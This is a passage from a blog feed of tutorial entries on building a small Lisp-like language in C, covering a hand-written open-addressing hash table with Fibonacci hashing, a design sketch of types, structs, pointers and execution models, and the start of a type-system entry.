    env-&gt;buf = realloc(env-&gt;buf, env-&gt;cap * sizeof(EnvEntry));
}
env-&gt;buf[env-&gt;size++] = (EnvEntry){symbol, value};</code></pre>
                    <p>becomes:</p>
                    <pre><code>array_push(env-&gt;entries, entry);</code></pre>
                    <h2 id="hash-tables-for-objects">Hash tables for
                    objects</h2>
                    <p>In some cases we have been using fairly
                    inefficient data structures. For example,
                    environments are better stored as hash tables than
                    dynamic arrays. We care that lookup speed is fast,
                    and with small arrays, this is fine, but as we have
                    more and more variables or have to perform more
                    lookups, it is important to go from O(n) to O(1).
                    Hash tables are the perfect structure for this kind
                    of associative relationships mapping symbols to
                    values. In C we don’t have a readily available hash
                    table implementation, but soon this will change, as
                    we will make one ourselves.</p>
                    <p>Much ink has been spilled over different advances
                    in hash tables for many a year. Here I’m not going
                    to give a very detailed explanation of them, just
                    some basic concepts and a simple implementation.</p>
                    <p>As previously mentioned, a hash table maps a key
                    to a value in an efficient way. But what constitutes
                    a key or a value can have different meanings. For
                    example we could have an int to string, a string to
                    int, a string to string, etc. For our purposes we
                    could make an <code>Object -&gt; Object</code> or
                    <code>Object* -&gt; Object *</code>. However we
                    should be able to build a generic hash table that
                    takes any type as either key or value, symbolically
                    <code>K -&gt; V</code>, provided a type specific
                    hash function is given.</p>
                    <p>The first decision we need to make is if we are
                    going to store things by value or by reference. That
                    is, do we keep an internal copy of key-value pairs
                    or pointers to the original values? For simplicity
                    we will use the later approach, since it’s mostly
                    how we have been approaching things in this project.
                    Be aware that this could have some performance
                    benefits, but also dangerous drawbacks if the
                    pointers ever get invalidated or freed.</p>
                    <p>A hash table could be thought of as a number of
                    buckets (or slots) to store our key-value pairs and
                    a hash function that would tell us which bucket to
                    use. For example, let’s say that our keys and values
                    are both integers between 1 and 20 and our table
                    contains 10 buckets. If we use the modulo operation
                    as the hash function we would have these assigned
                    slots for the following sequence of insertions:</p>
                    <pre><code>OPERATION          HASH       SLOT
insert({9, V})  -&gt; 9 % 10  -&gt; slot: 9
insert({13, V}) -&gt; 13 % 10 -&gt; slot: 3
insert({16, V}) -&gt; 16 % 10 -&gt; slot: 6
insert({2, V})  -&gt; 2 % 10  -&gt; slot: 2</code></pre>
                    <p>I’m betting you can already spot one issue with
                    this, what happens if we try to map <code>9</code>
                    and <code>19</code>? With that hashing function they
                    will both go to the slot number <code>9</code>! We
                    could use a different hashing function of course,
                    but inevitably we will run into this issue as long
                    as the number of buckets is smaller than the
                    possible values we can have. Since allocating 2^64
                    slots is far from ideal, what we actually need is
                    some way of dealing with hash collisions.</p>
                    <p>The two main strategies for handling collisions
                    are “chaining” and “open addressing”. Briefly,
                    chaining deals with collisions by storing a linked
                    list of elements in each bucket. With open
                    addressing, if a bucket is full, we try a different
                    slot using some heuristic and insert the item there
                    instead. You can read more about these strategies on
                    <a
                    href="https://en.wikipedia.org/wiki/Hash_table">the
                    Wikipedia page for hash tables</a>.</p>
                    <p>For now we will implement a simple open
                    addressing model with linear probing that later can
                    be used to add some optimizations, such as
                    Robin-Hood hashing, that <a
                    href="https://www.sebastiansylvan.com/post/robin-hood-hashing-should-be-your-default-hash-table-implementation/">seems
                    to be</a> one of the contenders for faster
                    performing general purpose hash tables.</p>
                    <p>One more issue we have to consider is that even
                    with linear probing, the backing array will be full
                    eventually. We will handle this by growing the table
                    if the load factor (<code>size / capacity</code>) is
                    above a certain threshold.</p>
                    <h3 id="api">API</h3>
                    <p>For now let’s imagine we have the following usage
                    case:</p>
                    <pre><code>int main(void) {
    // Initialize GC.
    gc_init();

    // Initialize key-value objects.
    Object *k1 = MAKE_SYM(&quot;Alice&quot;);
    Object *k2 = MAKE_SYM(&quot;Bob&quot;);
    Object *k3 = MAKE_SYM(&quot;Dog&quot;);
    Object *v1 = make_fixnum(10);
    Object *v2 = make_fixnum(49);
    Object *v3 = make_fixnum(333);

    // Initialize hash table.
    HashTable *table = ht_init();

    // Add some key-value pairs.
    ht_insert(table, k1, v1);
    ht_insert(table, k2, v2);
    ht_insert(table, k3, v3);

    // Test lookups.
    Object *alice_val = ht_lookup(table, k1);
    Object *bob_val = ht_lookup(table, MAKE_SYM(&quot;Bob&quot;));
    Object *dog_val = ht_lookup(table, k3);

    // Verify things work as expected.
    if (v1 == alice_val) {
        printf(&quot;Alice match!\n&quot;);
    }
    if (v2 == bob_val) {
        printf(&quot;Bob match!\n&quot;);
    }
    if (v3 == dog_val) {
        printf(&quot;Dog match!\n&quot;);
    }

    ht_free(table);
    return 0;
}</code></pre>
                    <p>We can perform object insertions in our table and
                    lookups. Later we will talk about deletion as well.
                    Remember that our table doesn’t store a copy of the
                    key-value objects, only a reference value, so if an
                    object gets freed/garbage collected, we may have a
                    missing reference issue. With the current default GC
                    parameters this should still be fine, however. Note
                    how we are testing the lookups against the same
                    object but also when using a key that semantically
                    has the same value, but functionally is a different
                    object in the heap:
                    <code>Object *bob_val = ht_lookup(MAKE_SYM("Bob"));</code>.</p>
                    <h3 id="implementation">Implementation</h3>
                    <p>We can start with defining the structure of the
                    table and key value pairs:</p>
                    <pre><code>typedef struct HashTablePair {
    Object *key;
    Object *value;
} HashTablePair;

typedef struct HashTable {
    HashTablePair *pairs;
} HashTable;</code></pre>
                    <p>We will add later a couple of things to our
                    <code>HashTable</code> struct, so if it looks barren
                    or unnecessary right now, that is why. We initialize
                    the table as follows. We want the pairs to have NULL
                    values as initialization.</p>
                    <pre><code>HashTable *
ht_init(void) {
    HashTable *table = malloc(sizeof(HashTable));
    table-&gt;pairs = NULL;
    array_init(table-&gt;pairs, HT_MIN_CAP);
    for (size_t i = 0; i &lt; array_cap(table-&gt;pairs); i++) {
        table-&gt;pairs[i] = (HashTablePair){NULL, NULL};
    }
    return table;
}</code></pre>
                    <p>We create a lookup function that obtains a
                    position from a hashing function
                    <code>ht_hash</code>. We assume that the hashing
                    function will always will give us a value that will
                    fit within the pairs array, never out of bounds. We
                    iteratively check if the key actually match with the
                    object stored in the given position, if the hash
                    doesn’t correspond to an initialized key or if we
                    traverse the entire array without finding a proper
                    match we return NULL. Otherwise the stored reference
                    for the value will be returned.</p>
                    <pre><code>Object *
ht_lookup(const HashTable *table, const Object *key) {
    size_t position = ht_hash(table, key);
    size_t probe_position = position;

    // Verify the key in that position is the same. If not perform linear
    // probing to find it.
    HashTablePair *pairs = table-&gt;pairs;
    while (true) {
        if (pairs[probe_position].key == NULL) {
            return NULL;
        }
        if (obj_eq(pairs[probe_position].key, key)) {
            break;
        }
        if (probe_position == array_cap(pairs) - 1) {
            probe_position = 0;
        } else {
            probe_position++;
        }
        if (probe_position == position) {
            return NULL;
        }
    }
    return pairs[probe_position].value;
}</code></pre>
                    <p>The insertion is divided in two parts: check if
                    we must grow the hash table and properly insert the
                    given pair. The insertion follows the same pattern
                    as the lookup, we just need to make sure that we
                    increase the table size if we are inserting a new
                    element and not updating an existing one.</p>
                    <pre><code>void
_ht_insert(HashTable *table, const Object *key, const Object *value) {
    size_t position = ht_hash(table, key);
    size_t probe_position = position;

    // Verify the key in that position is free. If not, use linear probing to
    // find the next free slot.
    HashTablePair *pairs = table-&gt;pairs;
    while (true) {
        if (pairs[probe_position].key == NULL) {
            array_head(pairs)-&gt;size++;
            break;
        }
        if (obj_eq(pairs[probe_position].key, key)) {
            break;
        }
        if (probe_position == array_cap(pairs) - 1) {
            probe_position = 0;
        } else {
            probe_position++;
        }
    }
    pairs[probe_position].key = (Object *)key;
    pairs[probe_position].value = (Object *)value;
}

void
ht_insert(HashTable *table, const Object *key, const Object *value) {
    _ht_maybe_grow(table);
    _ht_insert(table, key, value);
    return;
}</code></pre>
                    <p>Growing the table will happen when the load
                    factor surpasses the selected threshold. A new array
                    is allocated with double the capacity of the
                    previous one. It is subsequently cleared and the
                    key-value pairs in the previous array gets rehashed
                    for the updated table. Finally the previous array
                    gets freed.</p>
                    <pre><code>void
_ht_maybe_grow(HashTable *table) {
    HashTablePair *pairs = table-&gt;pairs;
    if (ht_load_factor(table) &lt; HT_LOAD_THRESHOLD) {
        return;
    }

    // Create a new array with 2x capacity.
    table-&gt;pairs = NULL;
    array_init(table-&gt;pairs, array_cap(pairs) * 2);
    for (size_t i = 0; i &lt; array_cap(table-&gt;pairs); i++) {
        table-&gt;pairs[i] = (HashTablePair){NULL, NULL};
    }

    // Hash everything in the table for the new array capacity.
    for (size_t i = 0; i &lt; array_cap(pairs); i++) {
        if (pairs[i].key != NULL) {
            _ht_insert(table, pairs[i].key, pairs[i].value);
        }
    }

    // Free the old array.
    array_free(pairs);
}</code></pre>
                    <p>The last thing we need to provide is a way of
                    freeing the table and all memory within.</p>
                    <pre><code>void
ht_free(HashTable *table) {
    if (table == NULL) {
        return;
    }
    if (table-&gt;pairs == NULL) {
        return;
    }
    array_free(table-&gt;pairs);
    free(table);
}</code></pre>
                    <p>But what about the hash function? Here is an
                    example of the simplest hash function we can
                    use:</p>
                    <pre><code>uint64_t
ht_hash(const HashTable *table, const Object *key) {
    return 0;
}</code></pre>
                    <p>Yeah this is pretty dumb, since every single
                    thing we lookup or insert will have a collision
                    (except the first element). However with this
                    function we can test that the testing code works
                    properly. If we initialized a table with a capacity
                    of 2 we can test also if growing the table works
                    properly after inserting 3 elements. But we
                    obviously can do better!</p>
                    <p><a
                    href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">A
                    lot</a> <a
                    href="https://nullprogram.com/blog/2018/07/31/">of
                    people</a> invested a lot of time trying to find
                    fast, well behaved and uniform hash functions. For a
                    hash table there are two things we need:</p>
                    <ol type="1">
                    <li>A hash function that outputs a large
                    random-looking number (possibly u64).</li>
                    <li>A way of mapping a large number into a smaller
                    value (constrained to the capacity of the hash
                    table).</li>
                    </ol>
                    <p>For the first point, lot of options are
                    available, but personally I like to use a simple xor
                    + circular shift hash function for large values and
                    the identity function for data that fits in a 64
                    bits. More on that later.</p>
                    <p>Mapping a large number into a small value is
                    typically made with the modulo operator, which can
                    be far from ideal since it can be slow.
                    Alternatively, if the table is a power of two, we
                    can just chop out the upper bits of the hash number
                    with a logical and
                    (<code>hash &amp; (cap - 1)</code>), which is the
                    equivalent of the modulo operation. I learned of a
                    different method in <a
                    href="https://probablydance.com/2018/06/16/fibonacci-hashing-the-optimization-that-the-world-forgot-or-a-better-alternative-to-integer-modulo/">an
                    article by Malte Skarupke</a>, that emphasizes that
                    the Fibonacci hashing proposed by Donald Knuth in
                    The Art of Computer Programming can be used for this
                    purpose. I like this approach, since the
                    multiplicative Fibonacci hashing is not very good by
                    itself, but it can be used as a finalizer for a
                    simpler hash function (like the previously mentioned
                    xor-shift function), resulting in similar insertion
                    and lookup performance.</p>
                    <p>I’ve tested this technique for different types of
                    data in other hash table implementations and
                    performance tends to be excellent, which is why I’m
                    also using it here. Someday I may post a number of
                    benchmarks comparing this method to alternative
                    solutions in C and C++, but that will have to wait.
                    This places the restriction that our hash table has
                    to grow by powers of two, so be aware of that when
                    initializing the table. Here is the Fibonacci
                    hash:</p>
                    <pre><code>static inline uint64_t
_fibonacci_hash(uint64_t hash, size_t shift_amount) {
    return (hash * UINT64_C(11400714819323198485)) &gt;&gt; (64 - shift_amount);
}</code></pre>
                    <p>The <code>shift_amount</code> correspond with the
                    number of bits used to represent the capacity for
                    example, if the capacity is 1024 bytes long:</p>
                    <pre><code>cap := 1024 = 2 ^ 10, shift_amount := 10</code></pre>
                    <p>We don’t want to be calculating this for every
                    hash, so we store the result in the hash table
                    struct:</p>
                    <pre><code>typedef struct HashTable {
    HashTablePair *pairs;
    uint8_t shift_amount;
} HashTable;</code></pre>
                    <p>Since we always grow the table by a power of 2,
                    we just need to increment one the shift amount every
                    time we grow the table:</p>
                    <pre><code>    ...
    // Create a new array with 2x capacity.
    table-&gt;pairs = NULL;
    array_init(table-&gt;pairs, array_cap(pairs) * 2);
    for (size_t i = 0; i &lt; array_cap(table-&gt;pairs); i++) {
        table-&gt;pairs[i] = (HashTablePair){NULL, NULL};
    }
    table-&gt;shift_amount++;
    ...</code></pre>
                    <p>The only thing left to do is to write the hash
                    function for Objects. As mentioned, we use a
                    <code>xor_shift_hash</code> for strings and symbols
                    and the identity for numbers. For other types we use
                    the pointer address instead. The constant in the
                    string hash is a bunch of random numbers I got from
                    a random number generator, but it is not terribly
                    important, you could as well use
                    <code>0xbadd10debadd10de</code> :), though the
                    random numbers should work better I guess. Remember
                    we are not trying to get the best most uniform hash
                    function, just a simple function that compiles to
                    the least number of instructions while doing its job
                    of scrambling the bits around.</p>
                    <pre><code>static inline uint64_t
_xor_shift_hash(const char *key, size_t n) {
    uint64_t hash = 0x65d9d65f6a19574f;
    char *last = (char *)key + n;
    while (key != last) {
        hash ^= (uint64_t)*key++;
        hash = (hash &lt;&lt; 8) | (hash &gt;&gt; (64 - 8));
    }
    return hash;
}</code></pre>
                    <p>The hash table for Objects is as follows:</p>
                    <pre><code>uint64_t
ht_hash(const HashTable *table, const Object *key) {
    uint64_t hash;
    switch (key-&gt;type) {
        case OBJ_TYPE_FIXNUM: {
            hash = key-&gt;fixnum;
        } break;
        case OBJ_TYPE_STRING: {
            hash = _xor_shift_hash(key-&gt;string, array_size(key-&gt;string));
        } break;
        case OBJ_TYPE_SYMBOL: {
            hash = _xor_shift_hash(key-&gt;symbol, array_size(key-&gt;symbol));
        } break;
        case OBJ_TYPE_BOOL:
        case OBJ_TYPE_NIL:
        case OBJ_TYPE_PAIR:
        case OBJ_TYPE_LAMBDA:
        case OBJ_TYPE_PROCEDURE:
        case OBJ_TYPE_ERR: {
            hash = (uintptr_t)key;
        } break;
    }
    hash = _fibonacci_hash(hash, table-&gt;shift_amount);
    return hash;
}</code></pre>
                    <p>And with that we have a fully functioning hash
                    table, although we are currently not supporting
                    deletion. Most of this hash table could be made
                    generic by using void pointers and storing an
                    equality function between types and the main hash
                    function:</p>
                    <pre><code>typedef uint64_t (HashFunction)(const struct HashTable *table, const void *data);
typedef bool (EqFunction)(const void *a, const void *b);

typedef struct HashTablePair {
    void *key;
    void *value;
} HashTablePair;

typedef struct HashTable {
    HashTablePair *pairs;
    HashFunction hash_function;
    EqFunction eq_function;
    uint8_t shift_amount;
} HashTable;</code></pre>
                    <p>We will not yet go that far, but it is a
                    possibility in the future. We can now substitute our
                    environments with these hash tables, which I did for
                    <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.7">the
                    current version</a>. However! Using hash tables for
                    environments proved to actually be slower than the
                    arrays of the previous implementation, probably
                    because of cache locality, but we actually may speed
                    things up with other tricks. I’ll leave it as is for
                    now as a pedagogical example, an O(1) algorithm is
                    actually slower than O(n)!.</p>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>In this entry we have focused on a couple of
                    basic data structure implemented in C rather than
                    language features. Having these in place, however,
                    will make the development moving forward much more
                    flexible. In <a
                    href="/posts/building-bdl-part-7">the next entry</a>
                    we will start the skeleton for a bytecode VM
                    interpreter. As usual, you can download the code at
                    this point in time if you go to <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.7">tag
                    v0.7</a>. See you around!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 7 (Designing a language)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-7"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-7</id>
            <updated>2026-06-16T09:49:10Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>It’s been a while since <a
                    href="/posts/building-bdl-part-6">the last post</a>
                    and in the meantime I’ve been testing a lot of
                    things I was interested in, including the
                    implementation of a bytecode VM and
                    <code>x86_64</code> code generation via <a
                    href="https://nasm.us/">NASM</a>. The former was
                    aided by the <a
                    href="https://craftinginterpreters.com/">Crafting
                    Interpreters book</a> and the later was a nice
                    experiment in stack-based native compilation,
                    learning some more details of x86 assembly as I
                    moved around. Both of these experiments are at
                    different levels of completion, and the native
                    codegen got to a point of implementing tail
                    recursive function calls. They have been valuable
                    learning experiences, but I discovered some
                    shortcomings in my approach and a lack of design and
                    scope in the language. I also started reading more
                    compiler books, I found <a
                    href="https://dl.acm.org/doi/pdf/10.5555/2737838">Engineering:
                    A compiler</a> very interesting, even if a bit dense
                    at times. As I read this book, I’m confronted with
                    new questions about type systems, intermediate
                    representations and potential for optimization.</p>
                    <p>I did some soul searching about what I want this
                    language to be, for this reason I believe is time to
                    thing about this project in a more structured way.
                    I’ll be using this post as a sketchboard of ideas
                    and wishes for the language based on my actual
                    preferences instead of just as a learning exercise
                    (which is still is!). If you have been following
                    along, you can check <a
                    href="https://git.badd10de.dev/bdl/commit/?h=ir&amp;id=3156265c7b2da8cc43fee996c0518ea274d39c8a">the
                    most recent commit</a> at the time of this writing
                    or <a
                    href="https://git.badd10de.dev/bdl/commit/?id=9c5fb457fe6063b7545515397aa45cecb7af66bf">the
                    one before the intermediate representation
                    refactoring</a>. Bear in mind that a lot has changed
                    since the last entry, so feel free to check <a
                    href="https://git.badd10de.dev/bdl/">the bdl repo
                    history</a> at your own leisure.</p>
                    <h2 id="a-departure-from-expectations">A departure
                    from expectations</h2>
                    <p>The first thing I want to consider is that this
                    is currently a toy language and I’m not sure I want
                    or need it to have any sort of adoption. I have to
                    design the language for me, because I want to
                    actually use it for my projects and have fun with
                    it!</p>
                    <h3 id="syntax">Syntax</h3>
                    <p>Possibly the least important aspect to consider
                    at the start, in my opinion. It’s not that is not
                    useful to design a comfortable syntax, after all, it
                    is the UX of your language. The issue is that people
                    get caught up in minute details of syntax instead of
                    focusing on other important language design
                    considerations. For now I don’t mind to have a
                    parenthesised language. Lisps are easy to parse and
                    understand. Yes the closing parentheses can be
                    annoying sometimes, but that’s why we use text
                    editors to help us navigate them. Maybe this will
                    change in the future, but for now we will be keeping
                    the Lisp nature of the language with a few
                    extensions discussed below. Some syntax examples
                    will be shown below, but this doesn’t express a
                    final decision on the finished language.</p>
                    <h3 id="symbolic-computations">Symbolic
                    computations</h3>
                    <p>The first departure from a traditional Lisp is
                    the removal of symbolic computations. Lisp was
                    created with this purpose in mind, and I can’t argue
                    the power of quoting, code as data and the
                    homoiconicity of the language. For my use case, at
                    least for now, this property seems a bit wasted. I’m
                    not sure if I want a language that is easily
                    extensible, as this power creates dissonance when
                    reading unfamiliar (or forgotten) code snippets.
                    Furthermore, this adds some extra complexity to the
                    language that I’m not ready to address. This is not
                    to say that it can’t be implemented, but right now I
                    choose to forgo thinking about quoting and
                    <code>eval</code> in favor of a more structured
                    approach to the language.</p>
                    <h3 id="the-type-system">The type system</h3>
                    <p>Lisps are typically dynamically typed languages.
                    There are some dialects that implement type hints or
                    optional typing, but not being statically typed by
                    default have some implications, specially when
                    thinking about code generation. Additionally, type
                    checking may be necessary at runtime, depending on
                    compiler optimizations, which also can hinder
                    performance.</p>
                    <p>Personally I like the ergonomics of dynamic
                    typing, but I certainly prefer static typing,
                    specially when refactoring a large codebase. I want
                    this language to be statically typed but with a
                    strong inference system. Potentially a
                    Hindley–Milner type system could be set in place,
                    but at first I think is best to use a simple type
                    system without parametric polymorphism.</p>
                    <h4 id="colon-syntax">Colon syntax</h4>
                    <p>The type of a variable or primitive can be
                    specified with colon syntax. The colon character
                    <code>:</code> starts a type definition. The next
                    non-whitespace character starts the type name, which
                    continues until a non whitespace character is found,
                    meaning <code>:u64</code> and <code>: u64</code> are
                    all equivalent.</p>
                    <p>For example, for defining a <code>u16</code>
                    variable <code>foo</code> containing the value
                    <code>10</code>:</p>
                    <pre><code>(def foo:u16 10)</code></pre>
                    <p>Once the variable has been defined, updating the
                    value doesn’t require the type annotation.
                    Additionally, omitting the type information is legal
                    as long as the type can be inferred:</p>
                    <pre><code>(def foo 7)</code></pre>
                    <p>For functions and lambdas the arguments and
                    return value types can be specified:</p>
                    <pre><code>(fun foo (a: u16 b: u32): u32
    ...
    )

(lambda(a: u16 b: u32):u32 ...)</code></pre>
                    <h4 id="base-types">Base types</h4>
                    <p>The language should support differently sized
                    signed and unsigned integers (<code>s8</code>,
                    <code>s16</code>, <code>s32</code>,
                    <code>s64</code>, <code>u8</code>, <code>u16</code>,
                    <code>u32</code>, <code>u64</code>). Similarly, IEEE
                    floating point values should also be included
                    (<code>f32</code>, <code>f64</code>). Other numeric
                    types could also be supported in the future, such as
                    big numbers, complex or rationals. The full numeric
                    tower as described by Scheme should be considered,
                    and it may be implemented at a later date, but it
                    has low priority for the initial implementation
                    stages. It may be desirable to include some
                    shorthand for signed or unsigned integers that fit
                    best the architecture (akin to <code>size_t</code>
                    or <code>ssize_t</code> in C). When parsing numeric
                    types by default base 10 is used, but we should
                    support hexadecimal <code>0xaabb</code> and binary
                    <code>0b11001101</code> notation. Potentially
                    scientific notation as well (<code>1e10</code>) but
                    with lower priority.</p>
                    <p>The language should support UTF-8 encoded
                    characters, so we may need some sort of
                    <code>rune</code> type. The initial implementation
                    will just use the ASCII range for characters using
                    <code>u8</code> as the base type.</p>
                    <p>Booleans are to be included, either as a single
                    type that can take only two values or as two
                    distinct singleton types <code>true</code> and
                    <code>false</code>.</p>
                    <p>The null type <code>nil</code> may also be
                    included to express the lack of value for different
                    operations.</p>
                    <h4 id="arrays">Arrays</h4>
                    <p>Arrays are extremely important, specially in
                    modern CPUs, where cache locality have a massive
                    impact on performance. It makes sense to support an
                    array type that is ergonomic to use. We could
                    support multi-dimensional arrays, but we should
                    start the implementation from 1D arrays and go from
                    there. We can differentiate between static arrays
                    (<code>arr</code>) and dynamic arrays
                    (<code>darr</code>). Static arrays contain
                    exclusively the data, whereas dynamic arrays also
                    require a current size and capacity and may grow if
                    pushing elements when full.</p>
                    <pre><code>struct DArray {
    size_t size;
    size_t capacity;
    u8 *data;
};

struct Array {
    u8 data[array_size];
};</code></pre>
                    <p>We should be able to easily access array elements
                    using bracket syntax with an index both for reading
                    (<code>my-array[10]</code>) or updating values
                    (<code>(set! my-array[10] value)</code>). Arrays can
                    be created with a primitive procedure that includes
                    the array length:
                    <code>(make-array u64 10)</code></p>
                    <h4 id="strings">Strings</h4>
                    <p>The <code>string</code> type should be immutable
                    and store their length along with the string data.
                    We may want to consider separating strings into long
                    strings and short strings. Short strings could be
                    stored in a single 64bit register, whereas long
                    strings require a pointer indirection. Strings
                    should store their length with the data to avoid
                    having to traverse the string to find it. In broad
                    strokes a string implementation in C could be
                    defined as:</p>
                    <pre><code>struct String {
    size_t length;
    u8 *data;
};

struct ShortString {
    // This is overkill, since for ASCII the maximum length is 8. Bear in mind
    // this is only an example, a more sophisticated implementation of short
    // strings can be used.
    u8 length;
    u8 data[7];
};</code></pre>
                    <h4 id="structures">Structures</h4>
                    <p>We should allow the user to define new types
                    derived from base types or previously defined user
                    types. When defining a struct, all fields should
                    have a type annotation. For example to create the
                    user type <code>my-type</code> with a
                    <code>u16</code> filed named <code>a</code> and a
                    <code>f32</code> field named <code>b</code>:</p>
                    <pre><code>(struct my-type
    a: u16
    b: f32)</code></pre>
                    <p>To zero initialize a struct type and assign it to
                    variable x:</p>
                    <pre><code>(def x:my-type {})</code></pre>
                    <p>If you want to manually initialize one field
                    while zero initializing the rest:</p>
                    <pre><code>(def x:my-type {.b 0.8})</code></pre>
                    <p>To initialize all fields:</p>
                    <pre><code>(def x:my-type {.a 10 .b 30.8})</code></pre>
                    <p>We may want to add a way of specifying default
                    values for fields instead of zero initializing them,
                    for example:</p>
                    <pre><code>(struct my-type
    a: u16 ! 42
    b: f32 ! 0.1)

; or

(struct my-type
    a 42: u16
    b 0.1: f32)</code></pre>
                    <p>I haven’t settled yet on the best approach for
                    this, so it will have lower priority on the initial
                    implementation.</p>
                    <p>We also should be able to print structs by
                    default and accessing fields uses dot notation:</p>
                    <pre><code>(print x)
; -&gt; {.a 10 .b 30.8}

(print x.a)
; -&gt; 10</code></pre>
                    <p>We may want to allow <code>unions</code> as well
                    as structs but this may change depending on how we
                    evolve the type system.</p>
                    <h4 id="pointers">Pointers</h4>
                    <p>I would like to include pointers for direct
                    memory manipulation, but would like to have a
                    mechanism for avoiding out of bounds access. I’m not
                    sure yet what is the best approach for this or if
                    this is even realistic. For the time being, I think
                    we should be able to create a pointer by taking the
                    address of an existing variable using the
                    <code>@</code> operator.</p>
                    <pre><code>(def foo:u32 42)
(def bar @foo) ; bar is now a pointer to u32</code></pre>
                    <p>To specify a pointer with colon syntax we use the
                    <code>@</code> symbol before the type. In the
                    previous example, <code>bar</code> is of type
                    <code>:@u32</code>. Without inference:</p>
                    <pre><code>(def bar:@u32 @foo)</code></pre>
                    <p>Setting a value:</p>
                    <pre><code>(print foo) ; -&gt; 42
(set! bar 10)
(print foo) ; -&gt; 10</code></pre>
                    <p>If we want to set the value at
                    <code>index * sizeof(type)</code>:</p>
                    <pre><code>(def a (make-array u16 5))
(def baz @a) ; Note that it is pointing to the data section, not the array object.
(set! baz[2] 10)
(print a) ; -&gt; [0 0 10 0 0]</code></pre>
                    <p>The way of operating with pointers is subject to
                    change, since I’m still figuring things out.</p>
                    <h3
                    id="execution-models-vm-vs-native-and-the-computer-in-a-box">Execution
                    models (VM vs native and the “computer in a
                    box”)</h3>
                    <p>Ideally the compiler should support compilation
                    to bytecode (to be executed by a virtual machine)
                    and generation of native code for
                    <code>x86_64</code> and
                    <code>arm</code>/<code>aarch64</code>. VMs are
                    flexible, can be easily ported and are easier to
                    debug than native code, but they incur a performance
                    overhead and may make more difficult the
                    distribution of standalone executables. I think that
                    having VM that includes a graphics/input/io system
                    is very valuable for quick sketchs and/or utilities.
                    Something akin to <a
                    href="https://wiki.xxiivv.com/site/uxn.html">uxn and
                    the vavara VM</a> is very interesting to me.</p>
                    <p>The choice of intermediate representations may be
                    informed by the type of execution model. In the end
                    I would like to have an optimizing compiler, and it
                    seems the use of three-address code (TAC) is widely
                    used for this purpose. On the other hand I’m more
                    familiar with stack-based VMs and code generation
                    and have already written some prototypes in this
                    form for bdl. Should I implement a stack VM or
                    register based? Seems like going from TAC IR to
                    stack bytecode is simpler than the contrary, but TAC
                    maps better for native compilation. Hopefully I’ll
                    make up my mind soon as to what to do for this
                    topic. I need to finish some more books and find
                    more resources with pros and cons for both
                    approaches.</p>
                    <h3 id="to-close-or-not-to-close">To close or not to
                    close</h3>
                    <p>Implementing closures have been a pain, but also
                    satisfying. I’m still debating if their inclusion is
                    justified for my usual programming workflow. I <a
                    href="https://merveilles.town/web/statuses/107597880777116077">floated
                    this question on the fedi</a> and people smarter
                    than me suggested that they should be free to
                    implement if we are performing escape analysis,
                    which we may have to do anyway when using pointers.
                    Specifically, the question, is if we should solve
                    the “upwards-funarg problem”. Ultimately, I may
                    choose not to implement closures, but once the rest
                    of the infrastructure is in place I could
                    reconsider.</p>
                    <h3 id="memory-models">Memory models</h3>
                    <p>Seems like all memory models have their
                    disadvantages. I’m still debating if I should opt
                    for memory management, tracing garbage collection or
                    automatic reference counting. Seems like all of them
                    have their disadvantages, but I also don’t want to
                    be worrying about memory in the same way as I do
                    with C. Maybe a hybrid model would be best, in which
                    GC or ARC is enabled by default but we could chose
                    to disable it in favor of manual memory
                    management.</p>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>This entry is more of a casual design document
                    than an actual tutorial of any kind, but I hope I
                    can use it as a way of clarifying my thoughts on
                    this language and what I want or am prepared to
                    tackle. If you have some comments on this article,
                    please hit me up <a
                    href="https://merveilles.town/web/accounts/122456">on
                    the fedi</a>, I would love to hear your opinion.
                    Until <a href="/posts/building-bdl-part-8">next</a>
                    time!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 8 (A simple type system)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-8"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-8</id>
            <updated>2026-06-16T09:49:10Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2
                    id="introductionlanguage-update">Introduction/Language
                    update</h2>
                    <p>Hello there! Some of the ideas described in <a
                    href="/posts/building-bdl-part-7">the previous
                    post</a> have been slowly percolating in the
                    background. The <a
                    href="https://git.badd10de.dev/bdl/tree/?h=dev&amp;id=0bdf2ff42892b6363f703fe8f00f865a96dde223">rewrite
                    of BDL</a> to adopt some of those ideas is going
                    well. The lexer hasn’t changed much, it is still
                    quite simple, only requiring the detection of
                    numeric types (but not yet parsing them). A numeric
                    token is marked when it starts with -/+ followed by
                    a numeric character (or just starting on the later).
                    Additionally, some token types have been added for
                    builtin functions or constants:</p>
                    <pre><code>static const Keyword keywords[] = {
    KEYWORD(&quot;nil&quot;,    TOKEN_NIL),
    KEYWORD(&quot;true&quot;,   TOKEN_TRUE),
    KEYWORD(&quot;false&quot;,  TOKEN_FALSE),
    KEYWORD(&quot;lambda&quot;, TOKEN_LAMBDA),
    KEYWORD(&quot;if&quot;,     TOKEN_IF),
    KEYWORD(&quot;def&quot;,    TOKEN_DEF),
    KEYWORD(&quot;set&quot;,    TOKEN_SET),
    KEYWORD(&quot;fun&quot;,    TOKEN_FUN),
    KEYWORD(&quot;struct&quot;, TOKEN_STRUCT),
    KEYWORD(&quot;+&quot;,      TOKEN_ADD),
    KEYWORD(&quot;-&quot;,      TOKEN_SUB),
    KEYWORD(&quot;*&quot;,      TOKEN_MUL),
    KEYWORD(&quot;/&quot;,      TOKEN_DIV),
    KEYWORD(&quot;%&quot;,      TOKEN_MOD),
    KEYWORD(&quot;not&quot;,    TOKEN_NOT),
    KEYWORD(&quot;and&quot;,    TOKEN_AND),
    KEYWORD(&quot;or&quot;,     TOKEN_OR),
    KEYWORD(&quot;=&quot;,      TOKEN_EQ),
    KEYWORD(&quot;&lt;&quot;,      TOKEN_LT),
    KEYWORD(&quot;&gt;&quot;,      TOKEN_GT),
